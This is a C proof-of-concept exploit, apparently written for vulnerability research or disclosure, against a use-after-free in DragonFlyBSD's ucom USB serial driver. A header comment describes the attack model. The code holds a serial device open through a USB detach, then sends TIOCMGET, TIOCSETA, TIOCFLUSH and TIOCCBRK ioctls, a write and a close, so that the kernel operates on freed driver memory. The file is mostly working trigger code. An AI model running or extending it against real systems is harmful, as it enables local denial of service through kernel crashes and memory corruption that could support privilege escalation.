/*
 * DF-5320 PoC -- DragonFlyBSD ucom (usb_serial.c) unplug use-after-free.
 *
 * Attack model:
 *   - local user with serial-port access (dialer group on /dev/cuaU*, or any
 *     perms on /dev/ttyU*) opens a USB serial port and keeps the fd open
 *   - the USB device is detached (physical unplug / kldunload / bus reset)
 *     -> ucom_detach() force-closes the tty but the softc is kfree()d
 *        (device_set_driver -> kfree(M_BUS)) while:
 *          (a) our open fd still dispatches ucom_dev_ops with si_drv1 -> freed softc
 *              (DragonFly never revectors si_ops to dead_dev_ops)
 *          (b) the tty's t_sc/t_oproc/t_stop/t_param still point into the freed softc
 *   - afterwards we issue ioctls/write/close on the STILL-OPEN fd -> kernel
 *     operates on freed memory (lockmgr writes into freed slab, callbacks via
 *     sc->sc_callback read from freed memory, usb_proc_msignal on freed proc).
 *
 * Usage: ./ucom_uaf /dev/ttyU0 /tmp/go-detach-done
 *   The program opens the device, waits until the go-file appears (create it
 *   after the USB detach happened), then runs the ioctl gauntlet.
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *dev, *gofile;
	struct termios tio;
	int fd, i, d, rc;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <ttydev> <gofile>\n", argv[0]);
		exit(2);
	}
	dev = argv[1];
	gofile = argv[2];

	fd = open(dev, O_RDWR | O_NONBLOCK | O_NOCTTY);
	if (fd < 0) {
		perror("open");
		exit(1);
	}
	printf("[*] opened %s fd=%d uid=%d\n", dev, fd, getuid());
	fflush(stdout);

	rc = tcgetattr(fd, &tio);
	if (rc != 0)
		perror("[!] tcgetattr (pre-detach)");
	else
		printf("[*] pre-detach tcgetattr OK: ispeed=%d ospeed=%d cflag=0x%x\n",
		    tio.c_ispeed, tio.c_ospeed, tio.c_cflag);
	fflush(stdout);

	/* wait for orchestrator to detach the USB device */
	for (i = 0; i < 600; i++) {
		if (access(gofile, F_OK) == 0)
			break;
		usleep(100000);
	}
	if (access(gofile, F_OK) != 0) {
		fprintf(stderr, "[!] go-file never appeared\n");
		exit(1);
	}
	printf("[*] detach confirmed (go file present); now poking freed softc\n");
	fflush(stdout);

	/* 1: TIOCMGET -> ucom_modem()/ucom_status_change() on freed softc */
	d = 0;
	rc = ioctl(fd, TIOCMGET, &d);
	printf("[1] TIOCMGET rc=%d errno=%d val=0x%x\n", rc, errno, d);
	fflush(stdout);

	/* 2: TIOCSETA -> ttioctl -> ttparam -> ucom_param() on freed softc
	 *    (ucom_param queues ucom_cfg_param into the freed sc_param_task) */
	rc = tcgetattr(fd, &tio);
	printf("[2] tcgetattr rc=%d errno=%d\n", rc, errno);
	if (rc == 0) {
		tio.c_ispeed = tio.c_ospeed = 9600;
		cfsetospeed(&tio, B9600);
		cfsetispeed(&tio, B9600);
		rc = tcsetattr(fd, TCSANOW, &tio);
		printf("[2] tcsetattr(TIOCSETA) rc=%d errno=%d\n", rc, errno);
	}
	fflush(stdout);

	/* 3: TIOCFLUSH -> ttioctl -> ttyflush -> t_stop = ucom_stop on freed softc
	 *    -> sc->sc_callback->ucom_stop_read(sc) */
	d = 0;
	rc = ioctl(fd, TIOCFLUSH, &d);
	printf("[3] TIOCFLUSH rc=%d errno=%d\n", rc, errno);
	fflush(stdout);

	/* 4: TIOCCBRK -> ucom_break -> ucom_line_state -> ucom_queue_command */
	rc = ioctl(fd, TIOCCBRK);
	printf("[4] TIOCCBRK rc=%d errno=%d\n", rc, errno);
	fflush(stdout);

	/* 5: write -> ucom_dev_write -> linesw l_write (mostly sleeps, but hits
	 *    ucom_dev_write entry with freed tp/sc first) */
	rc = write(fd, "A", 1);
	printf("[5] write rc=%d errno=%d\n", rc, errno);
	fflush(stdout);

	/* 6: close -> ucom_dev_close -> UCOM_MTX_LOCK(freed) -> ucom_close(freed) */
	rc = close(fd);
	printf("[6] close rc=%d errno=%d\n", rc, errno);
	fflush(stdout);

	printf("[*] survived; if the kernel is still alive the UAF was silent\n");
	return (0);
}
